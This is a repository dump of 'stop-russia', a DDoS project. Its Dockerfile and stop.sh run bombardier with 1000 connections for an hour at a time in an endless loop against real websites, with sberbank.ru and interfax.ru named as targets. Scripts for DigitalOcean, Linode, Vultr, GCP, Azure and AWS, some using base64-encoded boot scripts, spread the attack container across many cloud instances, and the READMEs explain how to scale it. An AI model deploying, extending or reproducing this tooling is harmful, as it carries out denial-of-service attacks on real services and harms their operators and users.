├── automation ├── compose │ ├── resources.txt │ ├── docker-compose.yml │ └── README.md ├── linode │ ├── .gitignore │ ├── cleanup.sh │ ├── stackscript.sh │ ├── init.sh │ └── README.md ├── vultr │ ├── .gitignore │ ├── init.sh │ └── README.md ├── aws-terraform │ ├── outputs.tf │ ├── variables.tf │ ├── README.md │ └── main.tf ├── azure-terraform │ ├── provider.tf │ ├── variables.tf │ ├── container_instance.tf │ └── README.md ├── gcp-gcloud │ ├── clenup.sh │ ├── cleanup.sh │ ├── deploy.sh │ └── README.md ├── digitaocean │ ├── clear.sh │ ├── userdata.sh │ ├── init.sh │ └── README.md └── .gitignore ├── strategies └── resources │ ├── chaos.sh │ └── top24.sh ├── Dockerfile ├── .editorconfig ├── tools └── cleanup.sh ├── stop.sh ├── .github └── workflows │ └── ci.yml ├── LICENSE ├── resources.txt └── README.md /automation/compose/resources.txt: -------------------------------------------------------------------------------- 1 | https://sberbank.ru 2 | -------------------------------------------------------------------------------- /automation/linode/.gitignore: -------------------------------------------------------------------------------- 1 | # Exclude sensitive data 2 | env 3 | -------------------------------------------------------------------------------- /automation/vultr/.gitignore: -------------------------------------------------------------------------------- 1 | # Exclude sensitive data 2 | vultr-cli.yaml 3 | -------------------------------------------------------------------------------- /strategies/resources/chaos.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # select random target 4 | echo $(shuf resources.txt | head -n1) 5 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine/bombardier:latest 2 | 3 | COPY . /app 4 | WORKDIR /app 5 | 6 | ENTRYPOINT ["sh"] 7 | CMD ["stop.sh"] 8 | -------------------------------------------------------------------------------- /automation/aws-terraform/outputs.tf: -------------------------------------------------------------------------------- 1 | output "aws_instance_public_dns" { 2 | value = aws_instance.instance[*].public_dns 3 | } 4 | -------------------------------------------------------------------------------- /automation/azure-terraform/provider.tf: -------------------------------------------------------------------------------- 1 | provider "azurerm" { 2 | features {} 3 | } 4 | 5 | data "azurerm_client_config" "current" {} 6 | -------------------------------------------------------------------------------- /strategies/resources/top24.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # select target based on current hour 4 | echo $(cat resources.txt | head -n $(($(date +%H) + 1)) | tail -1) 5 | -------------------------------------------------------------------------------- /automation/gcp-gcloud/clenup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # `clenup.sh` існує для зворотньої сумісності 4 | # `clenup.sh` exists for backward compatibility 5 | 6 | ./cleanup.sh 7 | -------------------------------------------------------------------------------- /automation/compose/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.9" 2 | 3 | services: 4 | bomber: 5 | image: abagayev/stop-russia:latest 6 | deploy: 7 | mode: replicated 8 | replicas: 5 9 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # http://editorconfig.org 2 | 3 | root = true 4 | 5 | [*] 6 | indent_style = space 7 | indent_size = 2 8 | end_of_line = lf 9 | charset = utf-8 10 | trim_trailing_whitespace = true 11 | insert_final_newline = true 12 | -------------------------------------------------------------------------------- /tools/cleanup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # define file of resources 4 | FILE="../resources.txt" 5 | 6 | # remove trailing slashes and duplicates 7 | TRIMMED=$(cat $FILE | sed 's/\/*$//g' | uniq) 8 | 9 | # update resources 10 | echo "$TRIMMED" > $FILE 11 | -------------------------------------------------------------------------------- /stop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | while true; do 4 | # get random resource from random strategy 5 | RESOURCE=$(sh strategies/resources/$(ls strategies/resources | shuf | head -n1)) 6 | 7 | # start bombing 8 | bombardier -c 1000 -d 3600s -l $RESOURCE 9 | done 10 | -------------------------------------------------------------------------------- /automation/digitaocean/clear.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Load list of droplets ID 4 | DROPLETS=$(doctl compute droplet list --format ID,Name | grep stop-russia | awk '{print $1}') 5 | 6 | echo $DROPLETS 7 | 8 | # Deleting all found 9 | doctl compute droplet delete $DROPLETS -f 10 | -------------------------------------------------------------------------------- /automation/digitaocean/userdata.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apt -y update 4 | apt -y install docker.io 5 | 6 | fallocate -l 1G /swapfile && chmod 600 /swapfile && mkswap /swapfile && swapon /swapfile 7 | 8 | NUMPROC=5 9 | 10 | for proc in $(seq 1 $NUMPROC); do 11 | screen -d -m docker run -ti --rm abagayev/stop-russia 12 | done 13 | -------------------------------------------------------------------------------- /automation/linode/cleanup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | LABEL="stop-russia" 4 | 5 | # Load list of linodes ID 6 | LINODES=$(linode-cli linodes list --format 'id,label' --text --no-header |grep $LABEL |awk '{print $1}') 7 | 8 | echo $LINODES 9 | 10 | # Deleting all found 11 | for i in $LINODES; do 12 | linode-cli linodes delete $i 13 | done 14 | -------------------------------------------------------------------------------- /automation/linode/stackscript.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | apt -y update 4 | apt -y install docker.io 5 | 6 | fallocate -l 1G /swapfile && chmod 600 /swapfile && mkswap /swapfile && swapon /swapfile 7 | 8 | NUMPROC=5 9 | 10 | for proc in $(seq 1 $NUMPROC); do 11 | screen -d -m docker run -ti --cpus=".8" --memory="819m" --rm abagayev/stop-russia 12 | done 13 | -------------------------------------------------------------------------------- /automation/azure-terraform/variables.tf: -------------------------------------------------------------------------------- 1 | variable "resource_group_name" { 2 | default = "stoprussia" 3 | } 4 | 5 | variable "region" { 6 | default = "eastasia" # default asian region 7 | } 8 | 9 | variable "cpu_spec" { 10 | default = "0.5" 11 | } 12 | 13 | variable "mem_spec" { 14 | default = "0.5" 15 | } 16 | 17 | output "name" { 18 | value = azurerm_container_group.stoprussia.name 19 | } 20 | -------------------------------------------------------------------------------- /automation/gcp-gcloud/cleanup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | shopt -s globstar 4 | 5 | # Ensure that the CWD is set to script's location 6 | cd "${0%/*}" 7 | CWD=$(pwd) 8 | 9 | ####### 10 | 11 | TAG="stop-ru" 12 | 13 | VMs=() 14 | 15 | echo "May take a while..." 16 | 17 | for vm in $(gcloud compute instances list --format="value(name)") 18 | do 19 | if [[ $vm = $TAG-* ]] 20 | then 21 | echo "Will delete $vm" 22 | VMs+=($vm) 23 | fi 24 | done 25 | 26 | # if there are Vms to delete 27 | if (( ${#VMs[@]} )) 28 | then 29 | gcloud compute instances delete --zone=asia-northeast3-a -q ${VMs[@]} 30 | else 31 | echo "No VMs to delete" 32 | fi 33 | 34 | echo "Done!" 35 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: ci 2 | 3 | on: 4 | push: 5 | branches: 6 | - 'main' 7 | 8 | jobs: 9 | docker: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - 13 | name: Set up QEMU 14 | uses: docker/setup-qemu-action@v1 15 | - 16 | name: Set up Docker Buildx 17 | uses: docker/setup-buildx-action@v1 18 | - 19 | name: Login to DockerHub 20 | uses: docker/login-action@v1 21 | with: 22 | username: ${{ secrets.DOCKERHUB_USERNAME }} 23 | password: ${{ secrets.DOCKERHUB_TOKEN }} 24 | - 25 | name: Build and push 26 | uses: docker/build-push-action@v2 27 | with: 28 | push: true 29 | tags: ${{ github.repository }}:latest,${{ github.repository }}:v${{ github.run_number }} 30 | -------------------------------------------------------------------------------- /automation/.gitignore: -------------------------------------------------------------------------------- 1 | # Local .terraform directories 2 | **/.terraform/* 3 | 4 | # .tfstate files 5 | *.tfstate 6 | *.tfstate.* 7 | 8 | # Crash log files 9 | crash.log 10 | 11 | # Ignore any .tfvars files that are generated automatically for each Terraform run. Most 12 | # .tfvars files are managed as part of configuration and so should be included in 13 | # version control. 14 | # 15 | # example.tfvars 16 | 17 | # Ignore override files as they are usually used to override resources locally and so 18 | # are not checked in 19 | override.tf 20 | override.tf.json 21 | *_override.tf 22 | *_override.tf.json 23 | 24 | # Include override files you do wish to add to version control using negated pattern 25 | # 26 | # !example_override.tf 27 | 28 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 29 | # example: *tfplan* 30 | terraform.tfvars 31 | tfplan 32 | terraform.exe 33 | .terraform.lock.hcl 34 | *.tmp 35 | -------------------------------------------------------------------------------- /automation/digitaocean/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # get parameter of num droplets 4 | if [ $1 ]; then NUMDROPLETS=$1; else NUMDROPLETS=1; fi 5 | 6 | # get list of account ssh keys 7 | KEYS=$(doctl compute ssh-key list --format=ID --no-header | tr '\n' ',') 8 | 9 | # generate random hash for droplet name 10 | if [[ $OSTYPE == "linux-gnu"* || $OSTYPE == 'msys' ]]; then 11 | HASH=$(date | md5sum | awk '{print $1}') 12 | else 13 | HASH=$(date | md5) 14 | fi 15 | 16 | for ((c=1; c<=NUMDROPLETS; c++)) 17 | do 18 | # get a random region from the list of all available 19 | # REGION=$(doctl compute region list --no-header | grep true | awk '{print $1}' | c head -n1) 20 | 21 | # get a random region from the list of asian regions 22 | REGION=$(doctl compute region list --no-header | grep true | awk '/sgp1|blr1/ {print $1}' | sort -R | head -n1) 23 | 24 | doctl compute droplet create \ 25 | --image ubuntu-20-04-x64 \ 26 | --size s-1vcpu-1gb \ 27 | --user-data-file userdata.sh \ 28 | --region $REGION \ 29 | --ssh-keys "${KEYS}" \ 30 | "stop-russia-${REGION}-${HASH}" 31 | done 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Anton Bagaiev 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /automation/azure-terraform/container_instance.tf: -------------------------------------------------------------------------------- 1 | resource "random_shuffle" "az" { 2 | input = [ 3 | "eastasia", # East Asia 4 | "japaneast", # JA West 5 | "japanwest", # JA West 6 | "koreacentral", # KR Central 7 | "southeastasia", # Southeast Asia 8 | "southindia", # IN South 9 | "westindia", # IN West 10 | "centralindia" # (Asia Pacific) Central India 11 | ] 12 | result_count = 1 13 | } 14 | 15 | resource "azurerm_resource_group" "stoprussia" { 16 | name = var.resource_group_name 17 | # location = var.region # region from vars 18 | location = random_shuffle.az.result[0] # random asian region 19 | } 20 | 21 | resource "azurerm_container_group" "stoprussia" { 22 | name = sha1("stoprussia-${data.azurerm_client_config.current.tenant_id}") # sha1 for unique name that is automagic 23 | location = azurerm_resource_group.stoprussia.location 24 | resource_group_name = azurerm_resource_group.stoprussia.name 25 | 26 | ip_address_type = "None" 27 | os_type = "Linux" 28 | restart_policy = "Always" 29 | 30 | container { 31 | name = "stoprussia-0" 32 | image = "abagayev/stop-russia:latest" 33 | cpu = var.cpu_spec 34 | memory = var.mem_spec 35 | } 36 | 37 | # replicate additional `container` blocks here 38 | 39 | } 40 | -------------------------------------------------------------------------------- /automation/linode/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # set root pass 4 | ROOT_PASS=$( env" && exit 0 9 | fi 10 | 11 | # get parameter of num linodes 12 | if [ $1 ]; then NUMDROPLETS=$1; else NUMDROPLETS=1; fi 13 | 14 | # get list of account ssh keys 15 | KEYS=$(linode-cli sshkeys list --text --format 'ssh_key' --no-header) 16 | 17 | IMAGE="linode/ubuntu20.04" 18 | 19 | linode-cli stackscripts create --label stop-russia --images $IMAGE --script stackscript.sh 20 | 21 | STACKSCRIPT_ID=$(linode-cli stackscripts list --label stop-russia --format 'id' --text --no-header |sort -r |head -n1) 22 | 23 | # generate random hash for linodes name 24 | HASH=$(date | md5) 25 | 26 | for ((c=1; c<=NUMDROPLETS; c++)) 27 | do 28 | # get a random region from the list of all available 29 | # REGION=$(linode-cli regions list --format 'id' --text --no-header | sort -R | head -n1) 30 | 31 | # get a random asian region 32 | REGION=$(linode-cli regions list --format 'id' --text --no-header | awk '/ap-west|ap-southeast|ap-south|ap-northeast/ {print $0}' | sort -R | head -n1) 33 | 34 | linode-cli linodes create \ 35 | --image $IMAGE \ 36 | --root_pass $ROOT_PASS \ 37 | --stackscript_id $STACKSCRIPT_ID \ 38 | --type g6-nanode-1 \ 39 | --region $REGION \ 40 | --label "stop-russia-${REGION}-$(date +%s)" 41 | done 42 | -------------------------------------------------------------------------------- /automation/aws-terraform/variables.tf: -------------------------------------------------------------------------------- 1 | variable "aws_region" { 2 | type = string 3 | description = "Region for AWS Resources" 4 | default = "ap-east-1" # default asian region 5 | } 6 | 7 | variable "enable_dns_hostnames" { 8 | type = bool 9 | description = "Enable DNS hostnames in VPC" 10 | default = true 11 | } 12 | 13 | variable "vpc_cidr_block" { 14 | type = string 15 | description = "Base CIDR Block for VPC" 16 | default = "10.0.0.0/16" 17 | } 18 | 19 | variable "vpc_subnet1_cidr_block" { 20 | type = string 21 | description = "CIDR Block for Subnet 1 in VPC" 22 | default = "10.0.0.0/24" 23 | } 24 | 25 | variable "map_public_ip_on_launch" { 26 | type = bool 27 | description = "Map a public IP address for Subnet instances" 28 | default = true 29 | } 30 | 31 | variable "instance_type" { 32 | type = string 33 | description = "Type for EC2 Instnace" 34 | default = "t2.micro" 35 | } 36 | 37 | variable "public_key" { 38 | description = "SSH key for ec2-user in case if login required" 39 | type = string 40 | default = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCS6B2NXeVugF+Jz1z5moeB+QcYiwARor+IrWcX1CY9kJEECMebHjpzYBo44HpYHkcLjApdBFOnNOD0dvuVIGnD0nwXZqA8Q6zM7z4lpDZ1yHBkIEj2bVM/TyICsGSCkop2FEo3kTO4h4Lg21c2gDJgvtM4+04Ls7ur1lysQMwpHHpTMKrn8au6HU5u++/37Vw2AgAubm8n8/l+DxPzeoNTKM/+dk+M8MozghK7f5o+MHf3dtSwWjQbUqyHwelCg7lbYdezfRKWczrr3jOGJRsQe0Ky08AINwio8Y5U6fxYxak1Xnbm0xEzJ4N9AbQ1c/iFSX/2GcXSe2QJvOjmaLtf login" 41 | } 42 | 43 | variable "instance_count" { 44 | type = number 45 | default = 1 46 | description = "How many instance to run" 47 | } 48 | -------------------------------------------------------------------------------- /automation/vultr/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ $1 ]; then NUMINSTANCES=$1; else NUMINSTANCES=1; fi 4 | 5 | # the cheapest plan for 5$/month 6 | PLAN=vc2-1c-1gb 7 | # Ubuntu 20.04 x64 8 | OS=387 9 | 10 | # Full CPU script below, note that Vultr can slow down or terminate your instance, or ban your account. Uncomment on your own accord. 11 | # SCRIPT_RESPONSE=$(vultr-cli script create \ 12 | # --type boot \ 13 | # --name stop-russia-100-cpu \ 14 | # --script IyEvYmluL2Jhc2gNCg0KYXB0IC15IHVwZGF0ZQ0KYXB0IC15IGluc3RhbGwgZG9ja2VyLmlvDQoNCmZhbGxvY2F0ZSAtbCAxRyAvc3dhcGZpbGUgJiYgY2htb2QgNjAwIC9zd2FwZmlsZSAmJiBta3N3YXAgL3N3YXBmaWxlICYmIHN3YXBvbiAvc3dhcGZpbGUNCg0KTlVNUFJPQz01DQoNCmZvciBwcm9jIGluICQoc2VxIDEgJE5VTVBST0MpOyBkbw0KICBzY3JlZW4gLWQgLW0gZG9ja2VyIHJ1biAtdGkgLS1ybSBhYmFnYXlldi9zdG9wLXJ1c3NpYQ0KZG9uZQ0K | head -n1) 15 | 16 | # 0.8 CPU script below. Recommended. 17 | SCRIPT_RESPONSE=$(vultr-cli script create \ 18 | --type boot \ 19 | --name stop-russia-80-cpu \ 20 | --script IyEvYmluL2Jhc2gNCg0KYXB0IC15IHVwZGF0ZQ0KYXB0IC15IGluc3RhbGwgZG9ja2VyLmlvDQoNCmZhbGxvY2F0ZSAtbCAxRyAvc3dhcGZpbGUgJiYgY2htb2QgNjAwIC9zd2FwZmlsZSAmJiBta3N3YXAgL3N3YXBmaWxlICYmIHN3YXBvbiAvc3dhcGZpbGUgDQoNCk5VTVBST0M9NQ0KDQpmb3IgcHJvYyBpbiAkKHNlcSAxICROVU1QUk9DKTsgZG8NCiAgc2NyZWVuIC1kIC1tIGRvY2tlciBydW4gLXRpIC0tY3B1cz0iLjgiIC0tcm0gYWJhZ2F5ZXYvc3RvcC1ydXNzaWENCmRvbmUNCg== | head -n1) 21 | 22 | SCRIPT_RESPONSE_ARRAY=(${SCRIPT_RESPONSE// / }) 23 | SCRIPT_ID=${SCRIPT_RESPONSE_ARRAY[1]} 24 | 25 | for ((c=1; c<=NUMINSTANCES; c++)) 26 | do 27 | # get a random region from the list of all available 28 | # REGION=$(vultr-cli regions list | sort -R | head -n1 | cut -c1-3) 29 | 30 | # get a random region from the list of asian regions 31 | REGION=$(vultr-cli regions list | awk '/icn|nrt|sgp/ {print $0}' | sort -R | head -n1 | cut -c1-3) 32 | 33 | NAME="stop-russia-${REGION}-$(date +%s)" 34 | 35 | vultr-cli instance create \ 36 | --region $REGION \ 37 | --plan $PLAN \ 38 | --os $OS \ 39 | --host $NAME \ 40 | --label $NAME \ 41 | --script-id $SCRIPT_ID 42 | done 43 | -------------------------------------------------------------------------------- /automation/azure-terraform/README.md: -------------------------------------------------------------------------------- 1 | [UA](#-microsoft-azure-terraform-автоматизація) | [EN](#-microsoft-azure-terraform-automation) 2 | 3 | --- 4 | 5 | # 🇺🇦 Microsoft Azure Terraform Автоматизація 6 | 7 | Скрипт для створення і налаштування інстансів бомбардувальників у Azure один клік. 8 | 9 | ### Підготовка 10 | 11 | - Встановити terraform: https://learn.hashicorp.com/tutorials/terraform/install-cli 12 | 13 | - Підготувати azure provider: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs 14 | 15 | ### Як використовувати 16 | 17 | 0. `cd automation/azure-terraform` 18 | 1. Почитай `variables.tf` 19 | 1. Го `terraform init` 20 | 2. Го `az login` и зроби діло 21 | 3. Го `terraform plan` и глянь 22 | 4. Го `terraform apply` и вперед 23 | 5. ??? 24 | 25 | Крутимо налаштування в terraform скільки хочемо контейнерів (на скільки гаманця хватить). 26 | 27 | ### Обмеження 28 | 29 | **Увага!** Зібрано на скору руч паяльником типу "кип'ятильник". Автор не несе відповідальності. 30 | 31 | Не забудьте видалити утилізовані інстанси `terraform destroy`. 32 | 33 | ### Доповнюємо разом 34 | 35 | Пишіть issues, створюйте pull requests. 36 | 37 | --- 38 | 39 | # 🇺🇸 Microsoft Azure Terraform Automation 40 | 41 | Script for creating and setting up bombardier in Azure. 42 | 43 | ### Setup 44 | 45 | - Install terraform: https://learn.hashicorp.com/tutorials/terraform/install-cli 46 | 47 | - Prepare azure provider: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs 48 | 49 | ### How to use 50 | 51 | 0. `cd automation/azure-terraform` 52 | 1. Check `variables.tf` 53 | 1. Run `terraform init` 54 | 2. Run `az login` 55 | 3. Run `terraform plan` 56 | 4. Run `terraform apply` 57 | 5. ??? 58 | 59 | You can change terraform settings to increase number of container instances if you wallet can allow it. 60 | 61 | ### Warning 62 | 63 | This is ad-hoc solution. Author does'nt bear any responsibility. 64 | 65 | Don't forget to remove used instances with `terraform destroy`. 66 | 67 | ### Contributing 68 | 69 | Create issues, create pull requests. 70 | -------------------------------------------------------------------------------- /automation/gcp-gcloud/deploy.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | shopt -s globstar 4 | 5 | # Ensure that the CWD is set to script's location 6 | cd "${0%/*}" 7 | CWD=$(pwd) 8 | 9 | ####### 10 | 11 | COUNT=1 12 | TARGET="" 13 | 14 | TAG="stop-ru" 15 | TIMESTAMP=$(date +%s) 16 | 17 | usage() { 18 | echo "Usage: $0 [-n -t ]" 1>&2 19 | echo "" 20 | 21 | printf "\tExample: $0 -n 2 -t https://interfax.ru\n" 1>&2 22 | printf "\tExample: $0 -n 3\n" 1>&2 23 | 24 | exit 1 25 | } 26 | 27 | while getopts "n:t:" o 28 | do 29 | case "${o}" in 30 | n) 31 | COUNT=${OPTARG} 32 | ;; 33 | t) 34 | TARGET=${OPTARG} 35 | ;; 36 | *) 37 | usage 38 | ;; 39 | esac 40 | done 41 | shift $((OPTIND-1)) 42 | 43 | for i in $(seq 1 $COUNT) 44 | do 45 | EXTRA_ARGS="" 46 | if [ ! -z "$TARGET" ] 47 | then 48 | EXTRA_ARGS=" \ 49 | --container-command=/gopath/bin/bombardier \ 50 | --container-arg=-d \ 51 | --container-arg=1800s \ 52 | --container-arg=$TARGET" 53 | fi 54 | 55 | gcloud compute instances create-with-container \ 56 | $TAG-$TIMESTAMP-$i \ 57 | --zone=asia-northeast3-a \ 58 | --machine-type=f1-micro \ 59 | --network-interface=network-tier=PREMIUM,subnet=default \ 60 | --maintenance-policy=MIGRATE \ 61 | --scopes=https://www.googleapis.com/auth/devstorage.read_only,https://www.googleapis.com/auth/logging.write,https://www.googleapis.com/auth/monitoring.write,https://www.googleapis.com/auth/servicecontrol,https://www.googleapis.com/auth/service.management.readonly,https://www.googleapis.com/auth/trace.append \ 62 | --image=projects/cos-cloud/global/images/cos-85-13310-1416-5 \ 63 | --boot-disk-size=10GB \ 64 | --boot-disk-type=pd-standard \ 65 | --boot-disk-device-name=$TAG-$TIMESTAMP-$i \ 66 | --container-image=abagayev/stop-russia \ 67 | --container-restart-policy=always \ 68 | --container-privileged \ 69 | --container-stdin \ 70 | --container-tty \ 71 | --no-shielded-secure-boot \ 72 | --shielded-vtpm \ 73 | --shielded-integrity-monitoring \ 74 | --labels=container-vm=cos-85-13310-1416-5 \ 75 | -q \ 76 | $EXTRA_ARGS 77 | 78 | echo "Created $TAG-$TIMESTAMP-$i" 79 | done 80 | 81 | echo "Done!" 82 | -------------------------------------------------------------------------------- /automation/compose/README.md: -------------------------------------------------------------------------------- 1 | [UA](#-docker-compose-автоматизація) | [EN](#-docker-compose-automation) 2 | 3 | --- 4 | 5 | # 🇺🇦 Docker Compose Автоматизація 6 | 7 | Скрипт для створення і налаштування бомбардувальників у docker compose. 8 | 9 | ### Як використовувати 10 | 11 | - Для початку треба встановити Docker: https://docs.docker.com/get-docker/ 12 | 13 | - Після цього запустити команду: 14 | 15 | ```shell 16 | docker compose up 17 | ``` 18 | 19 | Compose керує контейнерами на машині за допомогою простого yaml файлу. 20 | 21 | ### Як змінити кількість піднятих бомбардувальників 22 | 23 | Для цього треба змінити значення `replicas` у файлі `docker-compose.yml`, наприклад це запустить імедж у 10 потоків: 24 | 25 | ```yaml 26 | deploy: 27 | mode: replicated 28 | replicas: 10 29 | ``` 30 | 31 | ### Як змінити сайти для бомбардування 32 | 33 | Впишіть у файл `resources.txt` що лежить в одній директорії з `docker-compose.yml` список URL, що мають бути бомбардовані. 34 | 35 | Допишіть використання вашого файлу, додавши до `docker-compose.yml` наступні рядки: 36 | 37 | ```yaml 38 | volumes: 39 | - ./resources.txt:/app/resources.txt 40 | ``` 41 | 42 | ### Доповнюємо разом 43 | 44 | Пишіть issues, створюйте pull requests. 45 | 46 | --- 47 | 48 | # 🇺🇸 Docker Compose Automation 49 | 50 | Script for creating and setting up bombardier in docker compose. 51 | 52 | ### How to use 53 | 54 | - At first install Docker: https://docs.docker.com/get-docker/ 55 | 56 | - After that run: 57 | 58 | ```shell 59 | docker compose up 60 | ``` 61 | 62 | Compose controls container on your matching using simple yaml file. 63 | 64 | ### How to increase number of bombardier instances 65 | 66 | For this you need to change `replicas` in a file `docker-compose.yml` 67 | for example this setting will run image in 10 streams: 68 | 69 | ```yaml 70 | deploy: 71 | mode: replicated 72 | replicas: 10 73 | ``` 74 | 75 | ### How to change target sites 76 | 77 | Add new urls to file `resources.txt` that resides in the same directory as `docker-compose.yml`. 78 | 79 | 80 | Add you file to docker compose `docker-compose.yml` settings: 81 | ```yaml 82 | volumes: 83 | - ./resources.txt:/app/resources.txt 84 | ``` 85 | 86 | ### Contributing 87 | 88 | Create issues, create pull requests. 89 | -------------------------------------------------------------------------------- /automation/digitaocean/README.md: -------------------------------------------------------------------------------- 1 | [UA](#-digitalocean-droplet-автоматизація) | [EN](#-digitalocean-droplet-automation) 2 | 3 | --- 4 | 5 | # 🇺🇦 DigitalOcean Droplet Автоматизація 6 | 7 | Скрипт для створення і налаштування інстансів бомбардувальників у DigitalOcean в один клік. 8 | 9 | ### Як використовувати 10 | 11 | - Для початку треба встановити і налаштувати `doctl`: https://docs.digitalocean.com/reference/doctl/how-to/install/ 12 | 13 | - Після цього запустити команду ініціалізації: 14 | 15 | ```shell 16 | ./init.sh 10 17 | ``` 18 | 19 | where `10` is a number of droplets to be created. 20 | 21 | Скрипт запускає інстанс, на якому запускається докер імедж через команду screen для ручного моніторингу скриптів. 22 | 23 | Більше про screen: https://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ 24 | 25 | Щоб видалити створені інстанси: 26 | 27 | ```shell 28 | ./clear.sh 29 | ``` 30 | 31 | ### Як це працює 32 | 33 | Скрипт ініціалізації створює інстансу у випадковому активному Asia-Pacific регіоні і налаштовує на ній все для бомбардування. Інстанс запускається з існуючими ssh-ключами, також використовується найдешевший тип інстансів за 5 баксів на місяць. 34 | 35 | ### Доповнюємо разом 36 | 37 | Пишіть issues, створюйте pull requests. 38 | 39 | --- 40 | 41 | # 🇺🇸 DigitalOcean Droplet Automation 42 | 43 | Script for creating and setting up digital ocean instances with bombardier. 44 | 45 | ### How to use 46 | 47 | - At first install and setup `doctl` on your machine: https://docs.digitalocean.com/reference/doctl/how-to/install/ 48 | 49 | 50 | - After that run initialization script: 51 | 52 | ```shell 53 | ./init.sh 10 54 | ``` 55 | 56 | where `10` is a number of droplets to be created. 57 | 58 | Script creates DO droplet instances, where docker images is run using screen command, for manual script monitoring. 59 | 60 | More about screen: https://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ 61 | 62 | To remove created instances run: 63 | 64 | ```shell 65 | ./clear.sh 66 | ``` 67 | 68 | ### How it works 69 | 70 | Script creates droplet in random active Asia-Pacific region and setup everything for bombardier. 71 | 72 | Instance is running with existing ssh keys, also cheapest droplet is used (5 usd month). 73 | 74 | ### Contributing 75 | 76 | Create issues, create pull requests. 77 | -------------------------------------------------------------------------------- /automation/vultr/README.md: -------------------------------------------------------------------------------- 1 | [UA](#-vultr-автоматизація) | [EN](#-vultr-automation) 2 | 3 | --- 4 | 5 | # 🇺🇦 Vultr Автоматизація 6 | 7 | Скрипт для створення і налаштування інстансів бомбардувальників на Vultr в один клік. 8 | 9 | ### Як використовувати 10 | 11 | - Для початку треба встановити і налаштувати `vultr-cli`: https://github.com/vultr/vultr-cli 12 | - Отримати Personal Access Token: https://my.vultr.com/settings/#settingsapi 13 | - Після цього: 14 | 15 | 1. `export VULTR_API_KEY=your_api_key` 16 | 2. Го `cd ./automation/vultr` 17 | 3. Запусти `./init.sh 10` 18 | 19 | де `10` це число інстансів які будуть створені. Ліміт в аккаунті за замовчуванням - 100. 20 | 21 | Скрипт запускає інстанс, на якому протягом 10-15 хвилин запускається докер імедж через команду screen для ручного моніторингу скриптів. 22 | 23 | Більше про screen: https://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ 24 | 25 | **Увага!** Зроблено на швидко руч, інстанси потрібно видаляти вручну. 26 | 27 | ### Як це працює 28 | 29 | Скрипт ініціалізації створює інстансу у випадковому активному Asia-Pacific регіоні і налаштовує на ній все для бомбардування. Інстанс запускається з паролем, який можна дізнатися в адмінці після створення, використовується найдешевший тип інстансів за 5 баксів на місяць. 30 | 31 | ### Доповнюємо разом 32 | 33 | Пишіть issues, створюйте pull requests. 34 | 35 | --- 36 | 37 | # 🇺🇸 Vultr Automation 38 | 39 | Script for creating and setting up Vultr instances with bombardier. 40 | 41 | ### How to use 42 | 43 | - At first install and setup `vultr-cli` on your machine: https://github.com/vultr/vultr-cli 44 | - Get your Personal Access Token: https://my.vultr.com/settings/#settingsapi 45 | - Then: 46 | 47 | 1. `export VULTR_API_KEY=your_api_key` 48 | 2. `cd ./automation/vultr` 49 | 3. `./init.sh 10` 50 | 51 | where `10` is a number of instances to be created. 52 | 53 | The script launches an instance that runs the docker image via the screen command to manually monitor the scripts. 54 | 55 | More about screen: https://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ 56 | 57 | ### How it works 58 | 59 | Script creates instances in random active Asia-Pacific region and setup everything for bombardier. 60 | 61 | Instance is running with random password (you'll be able to get it from admin panel), also cheapest plan is used (5 usd month). 62 | 63 | ### Contributing 64 | 65 | Create issues, create pull requests. 66 | -------------------------------------------------------------------------------- /automation/linode/README.md: -------------------------------------------------------------------------------- 1 | [UA](#-linode-автоматизація) | 